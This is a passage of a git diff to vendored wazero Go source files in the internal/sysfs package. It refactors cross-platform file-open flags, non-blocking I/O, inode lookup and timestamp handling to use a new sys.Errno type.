b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go index 39696067ee..3a5289b70b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go @@ -2,33 +2,26 @@ package sysfs import ( "syscall" - "time" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 - SupportsSymlinkNoFollow = false -) - -func utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) error { - return utimensPortable(path, times, symlinkFollow) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Before Go 1.20, ERROR_INVALID_HANDLE was returned for too many reasons. // Kick out so that callers can use path-based operations instead. - if !platform.IsGo120 { - return syscall.ENOSYS + if !platform.IsAtLeastGo120 { + return sys.ENOSYS } // Per docs, zero isn't a valid timestamp as it cannot be differentiated - // from nil. In both cases, it is a marker like syscall.UTIME_OMIT. + // from nil. In both cases, it is a marker like sys.UTIME_OMIT. // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfiletime - a, w := timespecToFiletime(times) + a, w := timespecToFiletime(atim, mtim) if a == nil && w == nil { return nil // both omitted, so nothing to change @@ -41,32 +34,16 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { return syscall.SetFileTime(h, nil, a, w) } -func timespecToFiletime(times *[2]syscall.Timespec) (a, w *syscall.Filetime) { - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - now := time.Now().UnixNano() - ft := syscall.NsecToFiletime(now) - return &ft, &ft - } - - // Now, either one of the inputs is current time, or neither. This - // means we don't have a risk of re-reading the clock. - a = timespecToFileTime(times, 0) - w = timespecToFileTime(times, 1) +func timespecToFiletime(atim, mtim int64) (a, w *syscall.Filetime) { + a = timespecToFileTime(atim) + w = timespecToFileTime(mtim) return } -func timespecToFileTime(times *[2]syscall.Timespec, i int) *syscall.Filetime { - if times[i].Nsec == UTIME_OMIT { +func timespecToFileTime(tim int64) *syscall.Filetime { + if tim == sys.UTIME_OMIT { return nil } - - var nsec int64 - if times[i].Nsec == UTIME_NOW { - nsec = time.Now().UnixNano() - } else { - nsec = syscall.TimespecToNsec(times[i]) - } - ft := syscall.NsecToFiletime(nsec) + ft := syscall.NsecToFiletime(tim) return &ft } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go new file mode 100644 index 0000000000..703f113660 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go @@ -0,0 +1,22 @@ +//go:build !windows && !plan9 + +package sysfs + +import ( + "io/fs" + "syscall" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { + switch v := info.Sys().(type) { + case *sys.Stat_t: + return v.Ino, 0 + case *syscall.Stat_t: + return v.Ino, 0 + default: + return 0, 0 + } +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go new file mode 100644 index 0000000000..9c669a475c --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go @@ -0,0 +1,15 @@ +package sysfs + +import ( + "io/fs" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { + if v, ok := info.Sys().(*sys.Stat_t); ok { + return v.Ino, 0 + } + return 0, 0 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go new file mode 100644 index 0000000000..d163b3601e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go @@ -0,0 +1,28 @@ +package sysfs + +import ( + "io/fs" + "path" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +// inoFromFileInfo uses stat to get the inode information of the file. +func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) { + if v, ok := info.Sys().(*sys.Stat_t); ok { + return v.Ino, 0 + } + if dirPath == "" { + // This is a FS.File backed implementation which doesn't have access to + // the original file path. + return + } + // Ino is no not in Win32FileAttributeData + inoPath := path.Clean(path.Join(dirPath, info.Name())) + var st sys.Stat_t + if st, errno = lstat(inoPath); errno == 0 { + ino = st.Ino + } + return +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go new file mode 100644 index 0000000000..8e94e5922f --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go @@ -0,0 +1,11 @@ +package sysfs + +import "github.com/tetratelabs/wazero/experimental/sys" + +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.ENOSYS +} + +func isNonblock(f *osFile) bool { + return false +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go index 1ac13e5397..07fb15cf12 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go @@ -1,9 +1,17 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs -import "syscall" +import ( + "syscall" -func setNonblock(fd uintptr, enable bool) error { - return syscall.SetNonblock(int(fd), enable) + "github.com/tetratelabs/wazero/experimental/sys" +) + +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.UnwrapOSError(syscall.SetNonblock(int(fd), enable)) +} + +func isNonblock(f *osFile) bool { + return f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go index d4a29ac331..eb38ea5afa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go @@ -1,9 +1,23 @@ -//go:build windows - package sysfs -import "syscall" +import ( + "io/fs" + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func setNonblock(fd uintptr, enable bool) sys.Errno { + // We invoke the syscall, but this is currently no-op. + return sys.UnwrapOSError(syscall.SetNonblock(syscall.Handle(fd), enable)) +} -func setNonblock(fd uintptr, enable bool) error { - return syscall.SetNonblock(syscall.Handle(fd), enable) +func isNonblock(f *osFile) bool { + // On Windows, we support non-blocking reads only on named pipes. + isValid := false + st, errno := f.Stat() + if errno == 0 { + isValid = st.Mode&fs.ModeNamedPipe != 0 + } + return isValid && f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go new file mode 100644 index 0000000000..be6d2c35f6 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go @@ -0,0 +1,38 @@ +package sysfs + +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// toOsOpenFlag converts the input to the flag parameter of os.OpenFile +func toOsOpenFlag(oflag sys.Oflag) (flag int) { + // First flags are exclusive + switch oflag & (sys.O_RDONLY | sys.O_RDWR | sys.O_WRONLY) { + case sys.O_RDONLY: + flag |= os.O_RDONLY + case sys.O_RDWR: + flag |= os.O_RDWR + case sys.O_WRONLY: + flag |= os.O_WRONLY + } + + // Run down the flags defined in the os package + if oflag&sys.O_APPEND != 0 { + flag |= os.O_APPEND + } + if oflag&sys.O_CREAT != 0 { + flag |= os.O_CREATE + } + if oflag&sys.O_EXCL != 0 { + flag |= os.O_EXCL + } + if oflag&sys.O_SYNC != 0 { + flag |= os.O_SYNC + } + if oflag&sys.O_TRUNC != 0 { + flag |= os.O_TRUNC + } + return withSyscallOflag(oflag, flag) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file.go deleted file mode 100644 index 473f8ca638..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file.go +++ /dev/null @@ -1,26 +0,0 @@ -//go:build !windows && !js && !illumos && !solaris - -package sysfs - -import ( - "io/fs" - "os" - "syscall" - - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" -) - -func newOsFile(openPath string, openFlag int, openPerm fs.FileMode, f *os.File) fsapi.File { - return newDefaultOsFile(openPath, openFlag, openPerm, f) -} - -// OpenFile is like os.OpenFile except it returns syscall.Errno. A zero -// syscall.Errno is success. -func openFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) { - f, err := os.OpenFile(path, flag, perm) - // Note: This does not return a fsapi.File because fsapi.FS that returns - // one may want to hide the real OS path. For example, this is needed for - // pre-opens. - return f, platform.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go new file mode 100644 index 0000000000..a4f54ca2cc --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go @@ -0,0 +1,26 @@ +package sysfs + +import ( + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK + +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { + flag |= syscall.O_DIRECTORY + } + if oflag&sys.O_DSYNC != 0 { + flag |= syscall.O_DSYNC + } + if oflag&sys.O_NOFOLLOW != 0 { + flag |= syscall.O_NOFOLLOW + } + if oflag&sys.O_NONBLOCK != 0 { + flag |= syscall.O_NONBLOCK + } + // syscall.O_RSYNC not defined on darwin + return flag +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go new file mode 100644 index 0000000000..42adaa2140 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go @@ -0,0 +1,24 @@ +package sysfs + +import ( + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_NOFOLLOW | sys.O_NONBLOCK + +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { + flag |= syscall.O_DIRECTORY + } + // syscall.O_DSYNC not defined on darwin + if oflag&sys.O_NOFOLLOW != 0 { + flag |= syscall.O_NOFOLLOW + } + if oflag&sys.O_NONBLOCK != 0 { + flag |= syscall.O_NONBLOCK + } + // syscall.O_RSYNC not defined on darwin + return flag +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_js.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_js.go deleted file mode 100644 index e473acbe48..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_js.go +++ /dev/null @@ -1,19 +0,0 @@ -package sysfs - -import ( - "io/fs" - "os" - "syscall" - - "github.com/tetratelabs/wazero/internal/platform" -) - -func newOsFile(openPath string, openFlag int, openPerm fs.FileMode, f *os.File) File { - return newDefaultOsFile(openPath, openFlag, openPerm, f) -} - -func openFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) { - flag &= ^(O_DIRECTORY | O_NOFOLLOW) // erase placeholders - f, err := os.OpenFile(path, flag, perm) - return f, platform.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go new file mode 100644 index 0000000000..7f4915480c --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go @@ -0,0 +1,28 @@ +package sysfs + +import ( + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC + +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { + flag |= syscall.O_DIRECTORY + } + if oflag&sys.O_DSYNC != 0 { + flag |= syscall.O_DSYNC + } + if oflag&sys.O_NOFOLLOW != 0 { + flag |= syscall.O_NOFOLLOW + } + if oflag&sys.O_NONBLOCK != 0 { + flag |= syscall.O_NONBLOCK + } + if oflag&sys.O_RSYNC != 0 { + flag |= syscall.O_RSYNC + } + return flag +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go new file mode 100644 index 0000000000..9ae1e2bcdb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go @@ -0,0 +1,20 @@ +//go:build !windows + +package sysfs + +import ( + "io/fs" + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// openFile is like os.OpenFile except it accepts a sys.Oflag and returns +// sys.Errno. A zero sys.Errno is success. +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { + f, err := os.OpenFile(path, toOsOpenFlag(oflag), perm) + // Note: This does not return a sys.File because sys.FS that returns + // one may want to hide the real OS path. For example, this is needed for + // pre-opens. + return f, sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go index e23b7185c2..bdf7dd84d2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go @@ -3,19 +3,29 @@ package sysfs import ( - "io/fs" - "os" "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func newOsFile(openPath string, openFlag int, openPerm fs.FileMode, f *os.File) fsapi.File { - return newDefaultOsFile(openPath, openFlag, openPerm, f) -} +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func openFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) { - f, err := os.OpenFile(path, flag, perm) - return f, platform.UnwrapOSError(err) +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { + // See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90 + flag |= 0x1000000 + } + if oflag&sys.O_DSYNC != 0 { + flag |= syscall.O_DSYNC + } + if oflag&sys.O_NOFOLLOW != 0 { + flag |= syscall.O_NOFOLLOW + } + if oflag&sys.O_NONBLOCK != 0 { + flag |= syscall.O_NONBLOCK + } + if oflag&sys.O_RSYNC != 0 { + flag |= syscall.O_RSYNC + } + return flag } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go new file mode 100644 index 0000000000..9f7a6d0885 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go @@ -0,0 +1,18 @@ +//go:build !darwin && !linux && !windows && !illumos && !solaris && !freebsd + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" +) + +const supportedSyscallOflag = sys.Oflag(0) + +func withSyscallOflag(oflag sys.Oflag, flag int) int { + // O_DIRECTORY not defined + // O_DSYNC not defined + // O_NOFOLLOW not defined + // O_NONBLOCK not defined + // O_RSYNC not defined + return flag +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go index d9297d7e8b..bcfbfbcd6b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go @@ -7,19 +7,13 @@ import ( "syscall" "unsafe" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" ) -func newOsFile(openPath string, openFlag int, openPerm fs.FileMode, f *os.File) fsapi.File { - return &windowsOsFile{ - osFile: osFile{path: openPath, flag: openFlag, perm: openPerm, file: f, fd: f.Fd()}, - } -} - -func openFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) { - isDir := flag&fsapi.O_DIRECTORY > 0 - flag &= ^(fsapi.O_DIRECTORY | fsapi.O_NOFOLLOW) // erase placeholders +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { + isDir := oflag&sys.O_DIRECTORY > 0 + flag := toOsOpenFlag(oflag) // TODO: document why we are opening twice fd, err := open(path, flag|syscall.O_CLOEXEC, uint32(perm)) @@ -29,37 +23,51 @@ func openFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) // TODO: Set FILE_SHARE_DELETE for directory as well. f, err := os.OpenFile(path, flag, perm) - errno := platform.UnwrapOSError(err) + errno := sys.UnwrapOSError(err) if errno == 0 { return f, 0 } switch errno { - case syscall.EINVAL: + case sys.EINVAL: // WASI expects ENOTDIR for a file path with a trailing slash. if strings.HasSuffix(path, "/") { - errno = syscall.ENOTDIR + errno = sys.ENOTDIR } // To match expectations of WASI, e.g. TinyGo TestStatBadDir, return // ENOENT, not ENOTDIR. - case syscall.ENOTDIR: - errno = syscall.ENOENT - case syscall.ENOENT: + case sys.ENOTDIR: + errno = sys.ENOENT + case sys.ENOENT: if isSymlink(path) { // Either symlink or hard link not found. We change the returned // errno depending on if it is symlink or not to have consistent // behavior across OSes. if isDir { // Dangling symlink dir must raise ENOTDIR. - errno = syscall.ENOTDIR + errno = sys.ENOTDIR } else { - errno = syscall.ELOOP + errno = sys.ELOOP } } } return f, errno } +const supportedSyscallOflag = sys.O_NONBLOCK + +// Map to synthetic values here https://github.com/golang/go/blob/go1.20/src/syscall/types_windows.go#L34-L48 +func withSyscallOflag(oflag sys.Oflag, flag int) int { + // O_DIRECTORY not defined in windows + // O_DSYNC not defined in windows + // O_NOFOLLOW not defined in windows + if oflag&sys.O_NONBLOCK != 0 { + flag |= syscall.O_NONBLOCK + } + // O_RSYNC not defined in windows + return flag +} + func isSymlink(path string) bool { if st, e := os.Lstat(path); e == nil && st.Mode()&os.ModeSymlink != 0 { return true @@ -142,7 +150,7 @@ func open(path string, mode int, perm uint32) (fd syscall.Handle, err error) { } } - if platform.IsGo120 { + if platform.IsAtLeastGo120 { // This shouldn't be included before 1.20 to have consistent behavior. // https://github.com/golang/go/commit/0f0aa5d8a6a0253627d58b3aa083b24a1091933f if createmode == syscall.OPEN_EXISTING && access == syscall.GENERIC_READ { @@ -154,46 +162,3 @@ func open(path string, mode int, perm uint32) (fd syscall.Handle, err error) { h, e := syscall.CreateFile(pathp, access, sharemode, sa, createmode, attrs, 0) return h, e } - -// windowsOsFile overrides osFile to special case directory handling in Windows. -type windowsOsFile struct { - osFile - - dirInitialized bool -} - -// Readdir implements File.Readdir -func (f *windowsOsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) { - if errno = f.maybeInitDir(); errno != 0 { - return - } - - return f.osFile.Readdir(n) -} - -func (f *windowsOsFile) maybeInitDir() syscall.Errno { - if f.dirInitialized { - return 0 - } - - if isDir, errno := f.IsDir(); errno != 0 { - return errno - } else if !isDir { - return syscall.ENOTDIR - } - - // On Windows, once the directory is opened, changes to the directory are - // not visible on ReadDir on that already-opened file handle. - // - // To provide consistent behavior with other platforms, we re-open it. - if errno := f.osFile.Close(); errno != 0 { - return errno - } - newW, errno := openFile(f.path, f.flag, f.perm) - if errno != 0 { - return errno - } - f.osFile.file = newW - f.dirInitialized = true - return 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go index 95798f4820..ac0df777a9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go @@ -4,77 +4,99 @@ import ( "io" "io/fs" "os" - "syscall" - "time" + "runtime" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/sys" ) -func newDefaultOsFile(openPath string, openFlag int, openPerm fs.FileMode, f *os.File) fsapi.File { - return &osFile{path: openPath, flag: openFlag, perm: openPerm, file: f, fd: f.Fd()} +func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) fsapi.File { + // Windows cannot read files written to a directory after it was opened. + // This was noticed in #1087 in zig tests. Use a flag instead of a + // different type. + reopenDir := runtime.GOOS == "windows" + return &osFile{path: path, flag: flag, perm: perm, reopenDir: reopenDir, file: f, fd: f.Fd()} } // osFile is a file opened with this package, and uses os.File or syscalls to // implement api.File. type osFile struct { path string - flag int + flag experimentalsys.Oflag perm fs.FileMode file *os.File fd uintptr - // closed is true when closed was called. This ensures proper syscall.EBADF + // reopenDir is true if reopen should be called before Readdir. This flag + // is deferred until Readdir to prevent redundant rewinds. This could + // happen if Seek(0) was called twice, or if in Windows, Seek(0) was called + // before Readdir. + reopenDir bool + + // closed is true when closed was called. This ensures proper sys.EBADF closed bool // cachedStat includes fields that won't change while a file is open. cachedSt *cachedStat } -// cachedStat returns the cacheable parts of platform.sys.Stat_t or an error if -// they couldn't be retrieved. -func (f *osFile) cachedStat() (fileType fs.FileMode, ino uint64, errno syscall.Errno) { +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they +// couldn't be retrieved. +func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { if _, errno = f.Stat(); errno != 0 { return } } - return f.cachedSt.fileType, f.cachedSt.ino, 0 + return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Ino implements the same method as documented on fsapi.File -func (f *osFile) Ino() (uint64, syscall.Errno) { - if _, ino, errno := f.cachedStat(); errno != 0 { - return 0, errno - } else { - return ino, 0 - } +// Dev implements the same method as documented on sys.File +func (f *osFile) Dev() (uint64, experimentalsys.Errno) { + dev, _, _, errno := f.cachedStat() + return dev, errno +} + +// Ino implements the same method as documented on sys.File +func (f *osFile) Ino() (sys.Inode, experimentalsys.Errno) { + _, ino, _, errno := f.cachedStat() + return ino, errno +} + +// IsDir implements the same method as documented on sys.File +func (f *osFile) IsDir() (bool, experimentalsys.Errno) { + _, _, isDir, errno := f.cachedStat() + return isDir, errno } // IsAppend implements File.IsAppend func (f *osFile) IsAppend() bool { - return f.flag&syscall.O_APPEND == syscall.O_APPEND + return f.flag&experimentalsys.O_APPEND == experimentalsys.O_APPEND } -// SetAppend implements the same method as documented on fsapi.File -func (f *osFile) SetAppend(enable bool) (errno syscall.Errno) { +// SetAppend implements the same method as documented on sys.File +func (f *osFile) SetAppend(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= syscall.O_APPEND + f.flag |= experimentalsys.O_APPEND } else { - f.flag &= ^syscall.O_APPEND + f.flag &= ^experimentalsys.O_APPEND } // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^syscall.O_CREAT + f.flag &= ^experimentalsys.O_CREAT // appendMode (bool) cannot be changed later, so we have to re-open the // file. https://github.com/golang/go/blob/go1.20/src/os/file_unix.go#L60 return fileError(f, f.closed, f.reopen()) } -func (f *osFile) reopen() (errno syscall.Errno) { +// compile-time check to ensure osFile.reopen implements reopenFile. +var _ reopenFile = (*fsFile)(nil).reopen + +func (f *osFile) reopen() (errno experimentalsys.Errno) { // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^syscall.O_CREAT + f.flag &= ^experimentalsys.O_CREAT _ = f.close() f.file, errno = OpenFile(f.path, f.flag, f.perm) @@ -83,54 +105,44 @@ func (f *osFile) reopen() (errno syscall.Errno) { // IsNonblock implements the same method as documented on fsapi.File func (f *osFile) IsNonblock() bool { - return f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return isNonblock(f) } // SetNonblock implements the same method as documented on fsapi.File -func (f *osFile) SetNonblock(enable bool) (errno syscall.Errno) { +func (f *osFile) SetNonblock(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_NONBLOCK + f.flag |= experimentalsys.O_NONBLOCK } else { - f.flag &= ^fsapi.O_NONBLOCK + f.flag &= ^experimentalsys.O_NONBLOCK } - if err := setNonblock(f.fd, enable); err != nil { - return fileError(f, f.closed, platform.UnwrapOSError(err)) + if errno = setNonblock(f.fd, enable); errno != 0 { + return fileError(f, f.closed, errno) } return 0 } -// IsDir implements the same method as documented on fsapi.File -func (f *osFile) IsDir() (bool, syscall.Errno) { - if ft, _, errno := f.cachedStat(); errno != 0 { - return false, errno - } else if ft.Type() == fs.ModeDir { - return true, 0 - } - return false, 0 -} - -// Stat implements the same method as documented on fsapi.File -func (f *osFile) Stat() (fsapi.Stat_t, syscall.Errno) { +// Stat implements the same method as documented on sys.File +func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { - return fsapi.Stat_t{}, syscall.EBADF + return sys.Stat_t{}, experimentalsys.EBADF } st, errno := statFile(f.file) switch errno { case 0: - f.cachedSt = &cachedStat{fileType: st.Mode & fs.ModeType, ino: st.Ino} - case syscall.EIO: - errno = syscall.EBADF + f.cachedSt = &cachedStat{dev: st.Dev, ino: st.Ino, isDir: st.Mode&fs.ModeDir == fs.ModeDir} + case experimentalsys.EIO: + errno = experimentalsys.EBADF } return st, errno } -// Read implements the same method as documented on fsapi.File -func (f *osFile) Read(buf []byte) (n int, errno syscall.Errno) { +// Read implements the same method as documented on sys.File +func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. } - if NonBlockingFileIoSupported && f.IsNonblock() { + if nonBlockingFileReadSupported && f.IsNonblock() { n, errno = readFd(f.fd, buf) } else { n, errno = read(f.file, buf) @@ -142,8 +154,8 @@ func (f *osFile) Read(buf []byte) (n int, errno syscall.Errno) { return } -// Pread implements the same method as documented on fsapi.File -func (f *osFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) { +// Pread implements the same method as documented on sys.File +func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pread(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) @@ -151,55 +163,59 @@ func (f *osFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) { return } -// Seek implements the same method as documented on fsapi.File -func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) { +// Seek implements the same method as documented on sys.File +func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { if newOffset, errno = seek(f.file, offset, whence); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) // If the error was trying to rewind a directory, re-open it. Notably, // seeking to zero on a directory doesn't work on Windows with Go 1.18. - if errno == syscall.EISDIR && offset == 0 && whence == io.SeekStart { - return 0, f.reopen() + if errno == experimentalsys.EISDIR && offset == 0 && whence == io.SeekStart { + errno = 0 + f.reopenDir = true } } return } -// PollRead implements the same method as documented on fsapi.File -func (f *osFile) PollRead(timeout *time.Duration) (ready bool, errno syscall.Errno) { - fdSet := platform.FdSet{} - fd := int(f.fd) - fdSet.Set(fd) - nfds := fd + 1 // See https://man7.org/linux/man-pages/man2/select.2.html#:~:text=condition%20has%20occurred.-,nfds,-This%20argument%20should - count, err := _select(nfds, &fdSet, nil, nil, timeout) - if errno = platform.UnwrapOSError(err); errno != 0 { - // Defer validation overhead until we've already had an error. - errno = fileError(f, f.closed, errno) - } - return count > 0, errno +// Poll implements the same method as documented on fsapi.File +func (f *osFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + return poll(f.fd, flag, timeoutMillis) } // Readdir implements File.Readdir. Notably, this uses "Readdir", not // "ReadDir", from os.File. -func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) { +func (f *osFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + if f.reopenDir { // re-open the directory if needed. + f.reopenDir = false + if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 { + return + } + } + if dirents, errno = readdir(f.file, f.path, n); errno != 0 { errno = adjustReaddirErr(f, f.closed, errno) } return } -// Write implements the same method as documented on fsapi.File -func (f *osFile) Write(buf []byte) (n int, errno syscall.Errno) { - if n, errno = write(f.file, 